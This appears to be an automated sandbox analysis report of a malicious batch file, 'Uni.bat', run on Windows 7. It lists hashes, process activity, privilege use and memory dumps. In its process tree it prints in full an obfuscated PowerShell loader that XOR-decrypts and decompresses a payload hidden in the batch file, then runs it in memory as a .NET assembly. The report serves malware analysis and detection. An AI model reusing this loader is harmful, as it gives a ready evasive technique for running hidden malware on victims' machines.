0ad330a4fbc8885fcfe1f2eebf36a408738672b98a03baff58ffc475d314f31f

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240419-en
resource tags

arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
submitted
08-05-2024 17:07

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General

Target

Uni.bat
Size

303KB
MD5

12721198b3fa1b9839df22c9297e663f
SHA1

2f8d976de00df2fdfda36441d019545659686d88
SHA256

0ad330a4fbc8885fcfe1f2eebf36a408738672b98a03baff58ffc475d314f31f
SHA512

613d63deead400ba450577335589d14f428ed59a7910f8d28f869117abed912cfaeac32a50ed5a7d518a884623eb88b23dc3784dd42062a40597b62f9fb3bdbd
SSDEEP

6144:ErUy5osDY/LW3as3lsvN1yq9OJO7UBlaOjQS7GVhwl:25op6jlsv6JO7UBAOjOhg

Score

7^/10

Malware Config

Signatures

Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

2412 cmd.exe
Executes dropped EXE 1 IoCs

Processes:

Uni.bat.exe

pid process

2568 Uni.bat.exe
Loads dropped DLL 1 IoCs

Processes:

cmd.exe

pid process

2412 cmd.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

Uni.bat.exe

pid process

2568 Uni.bat.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

Uni.bat.exe

description pid process

Token: SeDebugPrivilege 2568 Uni.bat.exe

pid	process
2412	cmd.exe

pid	process
2568	Uni.bat.exe

pid	process
2412	cmd.exe

pid	process
2568	Uni.bat.exe

description	pid	process
Token: SeDebugPrivilege	2568	Uni.bat.exe

Suspicious use of WriteProcessMemory 9 IoCs

Processes:

cmd.exenet.exe

description	pid	process	target process
PID 2412 wrote to memory of 2860	2412	cmd.exe	net.exe
PID 2412 wrote to memory of 2860	2412	cmd.exe	net.exe
PID 2412 wrote to memory of 2860	2412	cmd.exe	net.exe
PID 2860 wrote to memory of 2340	2860	net.exe	net1.exe
PID 2860 wrote to memory of 2340	2860	net.exe	net1.exe
PID 2860 wrote to memory of 2340	2860	net.exe	net1.exe
PID 2412 wrote to memory of 2568	2412	cmd.exe	Uni.bat.exe
PID 2412 wrote to memory of 2568	2412	cmd.exe	Uni.bat.exe
PID 2412 wrote to memory of 2568	2412	cmd.exe	Uni.bat.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Uni.bat"
1⤵
- Deletes itself
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2412

C:\Windows\system32\net.exe
net file
2⤵
- Suspicious use of WriteProcessMemory
PID:2860

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 file
3⤵
PID:2340

C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe
"Uni.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $tYnix = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Uni.bat').Split([Environment]::NewLine);foreach ($sLmXX in $tYnix) { if ($sLmXX.StartsWith(':: ')) { $nQoag = $sLmXX.Substring(3); break; }; };$cbQex = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($nQoag);$NZXTV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('llI7MHEN3rnuJm+OhoiaRW5vgXl8RYhNtONXY+rZGh8=');for ($i = 0; $i -le $cbQex.Length - 1; $i++) { $cbQex[$i] = ($cbQex[$i] -bxor $NZXTV[$i % $NZXTV.Length]); };$zvcRZ = New-Object System.IO.MemoryStream(, $cbQex);$TKVJF = New-Object System.IO.MemoryStream;$mgcdB = New-Object System.IO.Compression.GZipStream($zvcRZ, [IO.Compression.CompressionMode]::Decompress);$mgcdB.CopyTo($TKVJF);$mgcdB.Dispose();$zvcRZ.Dispose();$TKVJF.Dispose();$cbQex = $TKVJF.ToArray();$uvFwM = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($cbQex);$lEPTc = $uvFwM.EntryPoint;$lEPTc.Invoke($null, (, [string[]] ('')))
2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2568

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

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Downloads

\Users\Admin\AppData\Local\Temp\Uni.bat.exe
Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
memory/2568-5-0x000007FEF58FE000-0x000007FEF58FF000-memory.dmp

Filesize
4KB

Download
memory/2568-6-0x000000001B3E0000-0x000000001B6C2000-memory.dmp

Filesize
2.9MB

Download
memory/2568-7-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

Filesize
32KB

Download
memory/2568-8-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

Filesize
9.6MB

Download
memory/2568-10-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

Filesize
9.6MB

Download
memory/2568-9-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

Filesize
9.6MB

Download
memory/2568-11-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

Filesize
9.6MB

Download
memory/2568-12-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

Filesize
9.6MB

Download
memory/2568-13-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

Filesize
9.6MB

Download